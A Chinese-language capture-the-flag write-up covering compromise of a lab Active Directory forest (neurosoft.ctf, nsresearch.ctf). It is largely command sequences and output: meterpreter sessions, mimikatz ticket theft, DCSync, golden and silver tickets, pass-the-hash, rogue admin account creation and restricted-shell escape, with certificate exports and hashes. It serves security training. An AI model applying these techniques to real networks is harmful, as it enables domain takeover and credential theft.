UiaM1nyz1r7LX0UEw530Rwxc61nsRNZ3z4UAhn7btQxODRhYnOibENWiK5EzdE93
RGC8iiVWrL0R6S0SMMMbZaMhJNUUQ2zRjAByWa6tV+cfp1cQZN5w3EH+Gpeeay2j
9p9puUU/W0oBq2EIciTdL3VeRBVPT61oZOwnh2jLtp93v6lPEJ5xCXd2zPEThrD4
QYTUJqOf9da+CA4IzUvVT5HGR3OZEkktoQPRyubBh9V3zC8AoV1aFrZrU8Fk6C7i
Un1d4+lL6mlQdw==
====================
Public export : OK - 'CURRENT_USER_my_0_Always Encrypted Auto Certificate1.der'

====================
base64 of file : CURRENT_USER_my_0_Always Encrypted Auto Certificate1.pfx
====================
MIIKPgIBAzCCCfoGCSqGSIb3DQEHAaCCCesEggnnMIIJ4zCCBgwGCSqGSIb3DQEH
AaCCBf0EggX5MIIF9TCCBfEGCyqGSIb3DQEMCgECoIIE/jCCBPowHAYKKoZIhvcN
AQwBAzAOBAh7G7NcfwkPkwICB9AEggTYZTLwljq+dlIYkJFfAl6CJ3q6hoTVYK9x
Ljq8R2m3zmv0HP7DyhjhKv7OAoSRudUwC/lemN1F92ET47ZDKWBx6ssVAMMLTpTx
Yi3i2t7CyqbY5oTp9apb+0c7GOh+chWoGCatnH24+NK9/TWa9swSwgWVpNR8Oivf
KXGWVfCqoNFjwq+F2/oGyyMwyNI69+bRSCfyaOq5+pgibb3zmnle2X/oPKhP7/NH
TFiy7AdvYe5ZEcN+BAnuhnzSguEOey4XhnFh9gXcskkMb61OqyljRAvRLJpCCxO7
5BYeBjwLW2XhprDV2sEXrHMBBcZCqQXeggbp9fJDCLhmZ0HVm9W0FuEtDDCItw2p
wrquvBVFl8MN13wICvtgWhNP+Q13+jF5vxFHGWL54TAPT7Kt8lSfZALMW1bp3g0I
FfISwMrKGZco8hDCPvw+WOeIpOH9JxUxzb87rvebAcXl70aSs0y/ANoNgjPkjMsp
DZNYQqYbQREuHlvpTngT9X+chh0PF2RrdZeB5vf8elYlrx7cnWG1C0KLcln1qQFL
K1IXeEid86wtL4SETxyY48G03WbHy1swfRhLb//M+wvpv9o5Cez+5oBzgsqnDK5H
N4tg+uLpUg1AEd7JfeVtb2Z9ssrlivfCguu0ZEQTnojL17tLYpsYveoNrjPBaD6A
PtQ1jv4IEUakcc8a8t+5kyV68rpJXXmu1iExuSZg01YRghNv0in9a62kmRNwDwMG
h4rqPvOULXnp+9E7G7u9JznDllDtgy7WvyeBcmbedGFkF72otz4rlfHqq+zsvOiX
36RWoyeoQvskn5kAezeMGCRgtcM7kyxBO2/JhTRjLmJ+5dGtYVxHUIkeJZOUepjh
CcgRtQX45ln8EWvLtAbXh36VoITeXefu3Idu6ppJa0ubPaQ/BtX3qzQ1flqTQwWg
O0Xz9jyfYhSRWhcGM38jusAi/YXBUEYJyVdTOjYcVtIkieSNKZsGS7A005H8uAx6
IKYB/Ez0Qjw7hZNMIme1C1VcMBcISRikwmRGWhFMyPpQcKbpbrtJFoCr13mXjVWS
pP1c4Wtm+peD6D/PNip8HX2wSq41Y42xZ4dJqvE5imRmoN+Q8YL9D4BsQp9ZPlsL
AHxqcqTbBFtbVkOa0EYZ1WLFnQJSxbs0HghF/951jyE45+SZni+INKYwY0mgHpQ/
aWNgmBBfVmFJuGr9crf93EMoCZNFoWIaVUcsZV+AnMkBMvHzUkSiKWS0gRzI3NIj
ze+ZEHNBWIyJobjKRSxy99oDvCATo2hA4DHhQajEzyjDW5vA74QcFCMTMC9ItHx8
1HqRvmZVDmXGjR0spafOw4Rp134F+y0m8/E8hKUl7QqClOTZuxSF7x59TAxKZ6nQ
smJH6r4B/Kn8gbGT4oT4ejOmNVCRHkNMVzyIZwL++I5iuHHlORaxOV/CWhZ+j22N
3VnvUaaIhA+5wF4LaHreHTZJ25ZP/Hp/azbs+olVNzSQfJ8dKh1/7g3ROPnEcJgy
39MEqndgfW0gGbUjbMfkFce9QysFuviIFXaCpQIqhLnOpq5Vt2LWa5dGkDvqKoBx
bwuFtVEBcwYlfrmbLYAxl82WHZvp1kpF+rkUFcVrQRsPVGI/RORplB0jR0JyFWpG
qdX/1fB//+xZRctiqOECSzGB3zATBgkqhkiG9w0BCRUxBgQEAQAAADBdBgkqhkiG
9w0BCRQxUB5OAHQAcAAtADkAYgA0ADMAOABjAGMAOQAtADIAMgAyADAALQA0ADUA
MgBmAC0AYgA1AGYANwAtAGYANQAxADEANQBlADUAYQBkADcAOAA3MGkGCSsGAQQB
gjcRATFcHloATQBpAGMAcgBvAHMAbwBmAHQAIABSAFMAQQAgAFMAQwBoAGEAbgBu
AGUAbAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABl
AHIwggPPBgkqhkiG9w0BBwagggPAMIIDvAIBADCCA7UGCSqGSIb3DQEHATAcBgoq
hkiG9w0BDAEDMA4ECFxfCAPaPlhJAgIH0ICCA4ijH8FFsQpW2n7hOsPjWZy4zsB7
QanQFQS5cso9vWqfaQnWrNved8TQ0UoxI0q2JkbiJ9kRdjy/9F9eNjUcSFicKUnZ
OR2eGe07HzDIThZua1aLFUi+b9DgPYbqoH3/8WsrAvdVY1wz3IEilg2HRyqhJyiy
R4VJo+Rq/G21H70KsIGTAAUIkb8j6iS2LVjwPobEnIvIzWPferNMr1cbs7e0AqZ1
e4TznvtJNxgOr9iw9cqq46hrxB/VfAQSG+0iWDkZTInk3Y89VLrVividICQCQyVF
NOqbM2hzaXBe/3/F1LRbZmvahw5WLAS+Rqj08J6punSNfTSkBbZljWGx7mGMNrsx
r4NEMgxu2zZ6WKQKKP2dn4N58hskyihishSnP5ouulOBJQLcgVKQ1oR0voM5ar4M
bCxeggEbwbN4EZaYgNYJwZDSCThu+gh8y20vrmZ6HtMYgXq4zU2p/qp4dHl4HHMH
gCoHor1lh1XVo8y6iEzsJ5UrmbRNGfDVBLCngWdXb7spznt2TI7ipzSKHQYBi5PX
8CUf79rEJxi0+ikiRz1WFSRcaX/3rVWZwwvNZErs+/lj6QdhjyHxb5NmQPqyINFd
eyAfWf42Ec/D2PwhAVzRIUfyt84UHyyQ9uEU1ca6u6cJ7Q8rwL2dypRHB4WOAXPo
Tkag+PpcJHKnbLaMR69Iq1M2e0uzMPTJ4tbG6mXjur2j1ciaNkb6qpmnXn7Zb0gH
GMLSLUqWdDt+oxc8hRsfFCdk8tvrFkkfihKFsCfv42Rm3GFdWInLrWMFNnVkmxm+
UCA0yYGy8yMmdoRzpL8dMIyDXFaCnNF6xTZ/WV74USYwENILeW84kgz7NufX5l1z
bruefaJT0elWnYo0Zn9xFQr+hGsCO8N6rY0PfxDECpj2sYkHc7/8B7H2bpO+pCB9
02lDu3DiL5s/AStVSpKHQv2plwE3GrXJWsjDrN/c87mMOyli/gn2j1j2jTxX8OIo
+vDrx9RKMgW6VJEgoyGFo0hDUIHxbtbWg4ACaxN1unyok0XTInmVJ4GXcJn0YuW3
A2ctpG7IT/J2/DEzjdCiD0kghDYYTYH75RG13WKGeLxfesWR6X9bazjmArLUP5gd
aqSDUgQlrHguUn/hSZK80II68Oc/4w8fUUoqGUPrhkDFuKwXAomgBYSHwDXzsk1N
qFHEh2GkfbfrLFmDZT0siwwA7Rb0MDswHzAHBgUrDgMCGgQUF6hZeblohdyDcaOt
sUDjSr551GMEFM/Y652JjUrkDbB674DnzdqfHI3vAgIH0A==
====================
Private export : OK - 'CURRENT_USER_my_0_Always Encrypted Auto Certificate1.pfx'

下载证书CURRENT_USER_my_0_Always Encrypted AutoCertificate1.pfx。在安装了SQL Management Studios的Windows计算机上导入此证书。

双击pfx文件以启动证书导入向导

  • 存储位置:当前用户
  • 选择文件
  • 输入密码:mimikatz
  • 保持自动选择选项…

然后打开SQL Management工作台并在高级选项中添加以下行。

column encryption setting=enabled

然后,通过浏览neurodevdb数据库中的devchiptarget表,该flag位于Deborah Cordova条目中。

查看当前session状态

msf5 exploit(windows/mssql/mssql_payload) > sessions -lx
Active sessions
Id Name Type Checkin? Enc? Local URI Information Connection
— — — — — — — — — — — — — — — — — — — — — — — — — — —
1 meterpreter x64/windows 16s ago Y ? DEV\brandon @ DEV fd00:1337:1:0:9eeb:e8ff:fe1c:ebaf:8082 -> 9000:470:beef::12:49720 (9000:470:beef::12)
2 meterpreter x86/windows 14s ago Y ? NT AUTHORITY\SYSTEM @ DEV fd00:1337:1:0:9eeb:e8ff:fe1c:ebaf:8080 -> 9000:470:beef::12:49721 (9000:470:beef::12)
3 meterpreter x64/windows 10s ago Y ? NT AUTHORITY\SYSTEM @ DEV fd00:1337:1:0:9eeb:e8ff:fe1c:ebaf:8082 -> 9000:470:beef::12:49722 (9000:470:beef::12)
4 meterpreter x64/windows 55s ago Y ? NEUROSOFT\brandon.harper @ DEV fd00:1337:1:0:9eeb:e8ff:fe1c:ebaf:8082 -> 9000:470:beef::12:49733 (9000:470:beef::12)
5 meterpreter x64/windows 29s ago Y ? NT AUTHORITY\SYSTEM @ SVC fd00:1337:1:0:9eeb:e8ff:fe1c:ebaf:8082 -> 9000:470:beef::11:54535 (9000:470:beef::11)

攻破 dc.neurosoft.ctf 服务器

此时,玩家在neurosoft.ctf域中获取三个中的两台服务器的system权限。 唯一剩下就是dc.neurosoft.ctf域服务器。

挖掘漏洞

在业界拿下DC的常用方法是获取“域管理”组成员的用户。但是,只有管理员才是该组的成员,并且此帐户未在任何位置登录过。 此外,他的密码既不存储在文件中,也不存在弱口令。 玩家需要具备更加广阔的想象力。

C:\temp>net group “Domain Admins” /domain
The request will be processed at a domain controller for domain neurosoft.ctf.

Group name Domain Admins
Comment Designated administrators of the domain

Members

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -
Administrator
The command completed successfully.

在域侦查阶段,玩家应该已经识别出svc.neurosoft.ctf配置了不受约束的授权方式。

meterpreter > load powershell
meterpreter > powershell_import /home/mdube/shr/git/PowerSploit/Recon/PowerView.ps1
meterpreter > powershell_shell

PS > Get-DomainComputer -Unconstrained -Properties cn,useraccountcontrol

cn useraccountcontrol
-- ------------------
DC SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
SVC WORKSTATION_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION

PS > Get-DomainUser -AllowDelegation -AdminCount -Properties cn,useraccountcontrol

cn useraccountcontrol
-- ------------------
Administrator NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
krbtgt ACCOUNTDISABLE, NORMAL_ACCOUNT

根据设计,我们设定了两种方法来获取域上的域管理员权限。 不幸的是,第二种方法被搞砸了,因为在准备项目期间域控制器的计算机帐户的密码已经改变。 您将在下面找到详细信息。

方法1 – 无约束的授权

对于微软来说,2018年是一个艰难的年份。 Harmj0y在他的博客上公布了林域信任(Forest Trusts)服务并不安全。文章中演示了攻击者如何通过无约束委派(以及更多)来攻陷域服务器。

简而言之,当用户在配置了无约束委派的服务器上进行身份验证时,此服务器会临时将用户的授权凭证(TGT)保存在内存中,以便最终进行授权。 在这里,玩家可以通过利用漏洞来欺骗svc.neurosoft.ctf对dc.neurosoft.ctf进行身份验证。要获取TGT信息,玩家可以使用kekeo,mimikatz或rubeus。

有关Windows上高级攻击的详细说明,我们邀请您查看harmj0y的博客或PyroTek3的文章。

## 1步:从dev.neurosoft.ctf服务器使用brandon.harper账号进行登录
##
下载:https://github.com/leechristensen/SpoolSample ## Compile in Visual Studio
## Visual Studio 中编译
meterpreter > upload /payloads/SpoolSample.exe
meterpreter > shell
C:\temp>.\SpoolSample.exe dc.neurosoft.ctf svc.neurosoft.ctf
## 2部:以system权限登录svc.neurosoft.ctf服务器
meterpreter > cd C:\\temp
meterpreter > upload /payloads/mimikatz/mimi_x64.exe
meterpreter > shell
C:\temp>.\mimi_x64.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
mimikatz # kerberos::ptt [0;2e85a]-2–0–60a10000-DC$@krbtgt-NEUROSOFT.CTF.kirbi
mimikatz # lsadump::dcsync /domain:neurosoft.ctf /user:NEUROSOFT\krbtgt#

完美!

这里将会输出 sekurlsa::tickets /export.


Authentication Id : 0 ; 190554 (00000000:0002e85a)
Session : Network from 0
User Name : DC$
Domain : NEUROSOFT
Logon Server : (null)
Logon Time : 2019–04–19 11:40:48 AM
SID : S-1–5–21–2892396748–947681171–1598779583–1000

* Username : DC$
* Domain : NEUROSOFT.CTF
* Password : (null)

Group 0 — Ticket Granting Service

Group 1 — Client Ticket ?

Group 2 — Ticket Granting Ticket
[00000000]
Start/End/MaxRenew: 2019–04–19 11:37:29 AM ; 2019–04–19 9:37:29 PM ; 2019–04–26 11:37:29 AM
Service Name (02) : krbtgt ; NEUROSOFT.CTF ; @ NEUROSOFT.CTF
Target Name ( — ) : @ NEUROSOFT.CTF
Client Name (01) : DC$ ; @ NEUROSOFT.CTF
Flags 60a10000 : name_canonicalize ; pre_authent ; renewable ; forwarded ; forwardable ;
Session Key : 0x00000012 — aes256_hmac
aac614ccf00bf4a920e7add47d2822f92e7b26389c975ae26fd4c58e8a906f3d
Ticket : 0x00000012 — aes256_hmac ; kvno = 2 […]
* Saved to file [0;2e85a]-2–0–60a10000-DC$@krbtgt-NEUROSOFT.CTF.kirbi !

方法2 - 通过备份服务的Silver Ticket(已损坏)

窃取BackupSVCUser票证。

meterpreter > upload /payloads/mimikatz/mimi_x64.exe
meterpreter > shell
C:\temp>.\mimi_x64.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
mimikatz # kerberos::ptt [0;6f015]-2–0–60a10000-BackupSVCUser@krbtgt-NEUROSOFT.CTF.kirbi

在dc.neurosoft.ctf上访问SVCbackup。 从preDCbak文件夹获取flag.txt文件内容。

C:\temp>dir \\dc.neurosoft.ctf\SVCbackups
Directory of \\dc.neurosoft.ctf\SVCbackups
2019–03–23 03:25 PM <DIR> .
2019–03–23 03:25 PM <DIR> ..
2019–03–23 03:25 PM 35 flag.txt
2019–03–23 03:23 PM <DIR> preDCbak
1 File(s) 35 bytes
3 Dir(s) 44,482,936,832 bytes free

从preDCbak文件夹复制注册表文件。 可以用impacket工具的secretsdump.py脚本来提取DC计算机帐户哈希。

$ secretsdump.py -system system.save -security security.save -sam sam.save LOCAL

$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:db26062ffbf19e6492f4baa3a5109344

构建一个silver ticket,玩家需要域SID字符串。 他可以使用shell命令或使用PowerView来获取它。

# 通过 shell

# From a shell
C:\temp>whoami /user

USER INFORMATION
— — — — — — — — — —
User Name SID
neurosoft\administrator S-1–5–21–2892396748–947681171–1598779583–500

# From PowerView
PS > Get-DomainSID

然后,这将每个部分组装在一起。 要执行DCSYNC命令并检索krbtgt的哈希值,玩家需要指定ldapservice。

  • DC$NTLM:db26062ffbf19e6492f4baa3a5109344
  • DomainSID:S-1–5–21–2892396748–947681171–1598779583
  • DomainName:neurosoft.ctf
  • Service:LDAP
  • User:whatever
  • ID:whatever

然后使用mimikatz工具,使用伪造的票据用于DS服务器上。

mimikatz # kerberos::golden /admin:IPWNEDYOU /id:1106 /domain:neurosoft.ctf /sid:S-1–5–21–2892396748–947681171–1598779583 /target:dc.neurosoft.ctf /rc4:db26062ffbf19e6492f4baa3a5109344 /service:LDAP /ptt
mimikatz # lsadump::dcsync /dc:dc.neurosoft.ctf /domain:neurosoft.ctf /user:krbtgt

从silverticket,玩家可以升级为goldenticket。

  • krbtgtNTLM:dd7a591aa181dc43ed2f6a509411c95f
  • DomainSID:S-1–5–21–2892396748–947681171–1598779583
  • DomainName:neurosoft.ctf
  • User:whatever
  • ID:whatever

然后使用mimikatz:

mimikatz # kerberos::golden /domain:neurosoft.ctf /sid:S-1–5–21–2892396748–947681171–1598779583 /rc4:dd7a591aa181dc43ed2f6a509411c95f /user:GetRekt /id:500 /ptt
mimikatz # exit

在DC服务器中找到flag

C:\temp>dir \\dc.neurosoft.ctf\c$
C:\temp>type \\dc.neurosoft.ctf\c$\flag.txt

搞定dc.neurosoft.ctf服务器

默认情况下,Windows 2016上大多数网络服务均未启用。如psexec和WMI相关的所有命令都不起作用。 此时最简单的方法是创建一个Domain Admin帐户,然后使用RDP登录。

C:\temp>net user mdube FuckWindows1 /add /domain
C:\temp>net group “Domain Admins” mdube /add /domain
# Login using RDP
C:\temp>net use \\dev.neurosoft.ctf\c$
C:\temp>copy \\dev.neurosoft.ctf\c$\temp\payload_msf_x64.exe .\
C:\temp>.\payload_msf_x64.exe

查询当前sessions 状态

Active sessions
===============
Id Name Type Checkin? Enc? Local URI Information Connection
— — — — — — — — — — — — — — — — — — — — — — — — — — —
1 meterpreter x64/windows 39s ago Y ? DEV\brandon @ DEV fd00:1337:1:0:9eeb:e8ff:fe1c:ebaf:8082 -> 9000:470:beef::12:49720 (9000:470:beef::12)
2 meterpreter x86/windows 36s ago Y ? NT AUTHORITY\SYSTEM @ DEV fd00:1337:1:0:9eeb:e8ff:fe1c:ebaf:8080 -> 9000:470:beef::12:49721 (9000:470:beef::12)
3 meterpreter x64/windows 33s ago Y ? NT AUTHORITY\SYSTEM @ DEV fd00:1337:1:0:9eeb:e8ff:fe1c:ebaf:8082 -> 9000:470:beef::12:49722 (9000:470:beef::12)
4 meterpreter x64/windows 0s ago Y ? NEUROSOFT\brandon.harper @ DEV fd00:1337:1:0:9eeb:e8ff:fe1c:ebaf:8082 -> 9000:470:beef::12:49733 (9000:470:beef::12)
5 meterpreter x64/windows 12s ago Y ? NT AUTHORITY\SYSTEM @ SVC fd00:1337:1:0:9eeb:e8ff:fe1c:ebaf:8082 -> 9000:470:beef::11:49692 (9000:470:beef::11)
6 meterpreter x64/windows 3s ago Y ? NEUROSOFT\mdube @ DC fd00:1337:1:0:9eeb:e8ff:fe1c:ebaf:8082 -> 9000:470:beef::10:59974 (9000:470:beef::10)

进入第二台AD服务器:dc01.nsresearch.ctf

以域用户权限开启一个shell,玩家可以进行信任配置枚举。

meterpreter > powershell_execute Get-NetDomainTrust

[+] Command execution completed:

SourceName TargetName TrustType TrustDirection
— — — — — — — — — — — — — — — — — — — — — —
neurosoft.ctf nsresearch.ctf External Inbound

meterpreter > powershell_execute Invoke-MapDomainTrust

[+] Command execution completed:

SourceDomain : neurosoft.ctf
SourceSID :
TargetDomain : nsresearch.ctf
TargetSID :
TrustType : External
TrustDirection : Inbound

从用户VaultAccessAdm说明字段中发现,玩家可以找到有关OU授权和NSRESEARCH引用相关信息。

PS > Get-DomainUser -Properties sAMAccountName,description
samaccountname description
-Administrator Built-in account for administering the computer/domain
Guest Built-in account for guest access to the computer/domain
DefaultAccount A user account managed by the system.
kbrandon.harper QA / Developer
svcMoonCrackle Service Account
BackupSVCUser Backup service account
VaultAccessAdm User with nsresearch Vault OU admin delegation
neil.williamson President and co-founder
jerry.compass Developer

列出nsresearch.ctf域 OU 信息

meterpreter > powershell_execute “Get-NetOU -domain nsresearch.ctf”

[+] Command execution completed:
LDAP://dc.neurosoft.ctf/OU=Domain Controllers,DC=nsresearch,DC=ctf
LDAP://dc.neurosoft.ctf/OU=TEMP,DC=nsresearch,DC=ctf
LDAP://dc.neurosoft.ctf/OU=Research,DC=nsresearch,DC=ctf
LDAP://dc.neurosoft.ctf/OU=Users,OU=Research,DC=nsresearch,DC=ctf
LDAP://dc.neurosoft.ctf/OU=Computers,OU=Research,DC=nsresearch,DC=ctf
LDAP://dc.neurosoft.ctf/OU=Vault,OU=Research,DC=nsresearch,DC=ctf

列出nsresearch域上的 Vault OU权限。

meterpreter > powershell_execute “Invoke-ACLScanner -domain nsresearch.ctf -DistinguishedName \”OU=Vault,OU=Research,DC=nsresearch,DC=ctf\””

[+] Command execution completed:

objectDN : OU=Vault,OU=Research,DC=nsresearch,DC=ctf
objectSID :
IdentitySID : S-1–5–21–2892396748–947681171–1598779583–1122
ActiveDirectoryRights : GenericAll
InheritanceType : Descendents
objectType : 00000000–0000–0000–0000–000000000000
InheritedobjectType : bf967aba-0de6–11d0-a285–00aa003049e2
objectFlags : InheritedobjectAceTypePresent
AccessControlType : Allow
IdentityReference : NEUROSOFT\VaultAccessAdm
IsInherited : False
InheritanceFlags : ContainerInherit
PropagationFlags : InheritOnly

objectDN : OU=Vault,OU=Research,DC=nsresearch,DC=ctf
objectSID :
IdentitySID : S-1–5–21–2892396748–947681171–1598779583–1122
ActiveDirectoryRights : CreateChild, DeleteChild
InheritanceType : All
objectType : bf967aba-0de6–11d0-a285–00aa003049e2
InheritedobjectType : 00000000–0000–0000–0000–000000000000
objectFlags : objectAceTypePresent
AccessControlType : Allow
IdentityReference : NEUROSOFT\VaultAccessAdm
IsInherited : False
InheritanceFlags : ContainerInherit
PropagationFlags : None

objectDN : OU=Vault,OU=Research,DC=nsresearch,DC=ctf
objectSID :
IdentitySID : S-1–5–21–2892396748–947681171–1598779583–1122
ActiveDirectoryRights : ReadProperty, WriteProperty
InheritanceType : Descendents
objectType : bf9679c0–0de6–11d0-a285–00aa003049e2
InheritedobjectType : bf967a9c-0de6–11d0-a285–00aa003049e2
objectFlags : objectAceTypePresent, InheritedobjectAceTypePresent
AccessControlType : Allow
IdentityReference : NEUROSOFT\VaultAccessAdm
IsInherited : False
InheritanceFlags : ContainerInherit
PropagationFlags : InheritOnly

一般情况下,玩家可以找到这些内容。

meterpreter > powershell_execute “Invoke-ACLScanner -domain nsresearch.ctf -DistinguishedName \”OU=Vault,OU=Research,DC=nsresearch,DC=ctf\” | select objectDN,IdentityReference,ActiveDirectoryRights | format-table”
[+] Command execution completed:
objectDN IdentityReference ActiveDirectoryRights
— — — — — — — — — — — — — — — — — — — — — — — -
OU=Vault,OU=Research,DC=nsresearch,DC=ctf NEUROSOFT\VaultAccessAdm GenericAll
OU=Vault,OU=Research,DC=nsresearch,DC=ctf NEUROSOFT\VaultAccessAdm CreateChild, DeleteChild
OU=Vault,OU=Research,DC=nsresearch,DC=ctf NEUROSOFT\VaultAccessAdm ReadProperty, WriteProperty

事实上,NEUROSOFT\VaultAccessAdm用户拥有OU OU = Vault,OU = Research,DC = nsresearch,DC = ctf的所有权限。 通过模拟此用户权限,用户可以在此OU中创建新用户。 但首先,要了解这个OU中有什么?

PS > Get-Domainobject -Searchbase 'OU=Vault,OU=Research,DC=nsresearch,DC=ctf'

whencreated : 2019-03-31 2:55:51 PM
instancetype : 4
objectcategory : CN=Organizational-Unit,CN=Schema,CN=Configuration,DC=nsresearch,DC=ctf
oobjectguid : 51fcfc1c-147e-471b-8c33-dba40c72842e
whenchanged : 2019-04-17 1:58:04 AM
name : Vault
dusnchanged : 73349
objectclass : {top, organizationalUnit}
udscorepropagationdata : {2019-04-17 1:58:04 AM, 2019-04-17 1:55:31 AM, 2019-03-31 3:16:12 PM, 2019-03-31 2:55:51 PM...}

usncreated : 55862
gsamaccounttype : ALIAS_object
swhenchanged : 2019-04-23 1:40:06 AM
objectsid : S-1-5-21-1677815563-2680413571-3634247530-1124
objectclass : {top, group}
cusnchanged : 78753
dname : VaultAccess
description : Allow access to vault
distinguishedname : CN=VaultAccess,OU=Vault,OU=Research,DC=nsresearch,DC=ctf
whencreated : 2019-03-23 1:19:17 AM
instancetype : 4
objectguid : 4e5e235f-75a4-4ed4-9f97-6016a3b1a484
objectcategory : CN=Group,CN=Schema,CN=Configuration,DC=nsresearch,DC=ctf

在OU中,有一个名为VaultAccess的组。 顾名思义,该组的成员被授予访问Vault的权限。总而言之,玩家需要模拟NSRESEARCH\VaultAccessAdm用户,在OU OU = Vault,OU = Research,DC = nsresearch,DC = ctf中创建新用户,最后将其添加到组NSRESEARCH\VaultAcces组中。 以下演示了操作方法。

mimikatz # kerberos::golden /domain:neurosoft.ctf /sid:S-1–5–21–2892396748–947681171–1598779583 /rc4:dd7a591aa181dc43ed2f6a509411c95f /user:GetRekt /id:500 /ptt

mimikatz # lsadump::dcsync /dc:dc.neurosoft.ctf /domain:neurosoft.ctf /user:VaultAccessAdm
[DC] ‘neurosoft.ctf’ will be the domain
[DC] ‘dc.neurosoft.ctf’ will be the DC server
[DC] ‘VaultAccessAdm’ will be the user account

object RDN : VaultAccessAdm

** SAM ACCOUNT **

SAM Username : VaultAccessAdm
User Principal Name : VaultAccessAdm@neurosoft.ctf
Account Type : 30000000 ( USER_object )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration :
Password last change : 2019–03–31 11:09:12 AM
object Security ID : S-1–5–21–2892396748–947681171–1598779583–1122
object Relative ID : 1122

Credentials:
Hash NTLM: 19388f61312f82718bf59f1d8feed067
ntlm- 0: 19388f61312f82718bf59f1d8feed067
lm — 0: 498af0f7c581ad67a180c5f86e8d7ff1

以NEUROSOFT\VaultAccessAdm账号权限加载mimikatz模块。

meterpreter > load kiwi
Loading extension kiwi… .#####. mimikatz 2.1.1 20180925 (x64/windows)
.## ^ ##. “A La Vie, A L’Amour”
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
‘## v ##’ Vincent LE TOUX ( vincent.letoux@gmail.com )
‘#####’ > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter > kiwi_cmd “\”sekurlsa::pth /user:VaultAccessAdm /domain:neurosoft.ctf /ntlm:19388F61312F82718BF59F1D8FEED067\””

查找并迁移到新的进程。

meterpreter > ps
[…]
2840 2476 conhost.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\conhost.exe
[…]
meterpreter > migrate 2840
[*] Migrating from 860 to 2840…
[*] Migration completed successfully.

创建新用户并将新用户添加到正确的组。

meterpreter > powershell_execute “New-ADUser -Name \”Hacked ByMe\” -SamAccountName hacker -UserPrincipalName hacker@nsresearch.ctf -path \”OU=Vault,OU=Research,DC=nsresearch,DC=ctf\” -AccountPassword (ConvertTo-SecureString -AsPlainText \”p@ssw0rd\” -Force) -enabled 1 -server dc01.nsresearch.ctf”
meterpreter > powershell_execute “Add-ADGroupMember -Identity VaultAccess -Members hacker -server dc01.nsresearch.ctf”

在此阶段,新用户可以使用RDP连接到vault.nsresearch.ctf服务器。

拿下vault.nsresearch.ctf服务器

获取一个可用Shell

第一次连接,系统会提示玩家使用的是非标准的shell,并提供两个选项:帮助或退出。 功能实在太少了。

5.png

通过RDP连接vault服务器截图

在Windows中有一个老办法,长时间来一直可用,可以从Citrix或受限制的RDP会话中得到真正的shell。 玩家只需按“Ctrl + alt + Delete”,选择“任务管理器”,然后单击文件 - >“运行新任务”,然后键入“cmd”并单击“确定”即可。

进一步了解阻止策略

起初,玩家可能会对非常严格的策略感到困扰。 Powershell和大多数LOLBAS都被禁用了。 甚至连notepad.exe也用了。

分析防火墙配置

玩家可以运行netsh命令来查看防火墙配置:

  • 除了dc01.nsresearch.ctf之外,出站端口不允许连接其他服务器;
  • 只有TCP/3389端口入站方向允许通过
netsh advfirewall firewall show rule name=all direction=out
netsh advfirewall firewall show rule name=all direction=in

文件上传

RDP 挂载远程磁盘功能受限,因此文件很难上传到服务器上。目前没有已知的方法可以将文件上传到此服务器。

防病毒配置

Windows Defender防火墙开启了默认配置

C:\Windows\system32>tasklist /svc | findstr MsMpEng
MsMpEng.exe 1436 WinDefend

找到一个有漏洞的服务

找到一个和windows10一样的服务(cortesc),但是与windows2016比起来,还是有一些不同的。

C:\Windows\system32>sc query cortescSERVICE_NAME: cortesc
TYPE : 10 WIN32_OWN_PROCESS
STATE : 7 PAUSED
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0C:\Windows\system32>sc qc cortesc
[SC] QueryServiceConfig SUCCESSSERVICE_NAME: cortesc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\Program Files\NSSM\nssm_64.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : cortesc
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

通过命令行进入C:\Program Files\VaultAccess文件夹,玩家可以找到一些文件,比如 cortesc.bat文件。

C:\Program Files\VaultAccess>dir
Volume in drive C has no label.
Volume Serial Number is 129B-E701

Directory of C:\Program Files\VaultAccess

2019–03–29 10:33 PM <DIR> .
2019–03–29 10:33 PM <DIR> ..
2019–03–27 10:23 PM 19 cortesc.bat
2019–03–31 09:24 AM 1,469 login.bat
2019–05–09 02:40 AM 62 login_logs.txt
3 File(s) 1,550 bytes
2 Dir(s) 45,918,384,128 bytes free

再次使用icacls工具,玩家可以发现NSRESEARCH\VaultAccess组对此文件具有“修改”权限。

C:\Program Files\VaultAccess>icacls cortesc.bat
cortesc.bat NSRESEARCH\VaultAccess:(I)(M)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

在vault.nsresearch.ctf服务器上提权到本地管理员

我们发现直接建立用户是不可行的,因为不允许本地用户使用RDP,即使他们在管理员组中也是如此。 例如,以下操作就是无效的。

net user god FuckWindows1 /add
net localgroup Administrators god /add

我们可以通过以下命令授权给域账号

net localgroup Administrators NSRESEARCH\mdube /add

然后我们用新建立的具有本地admin权限的账号登录,然后找到flag文件,文件位置在C:\flag.txt。

完胜!

[ 加分操作 ] 密码漏洞flags

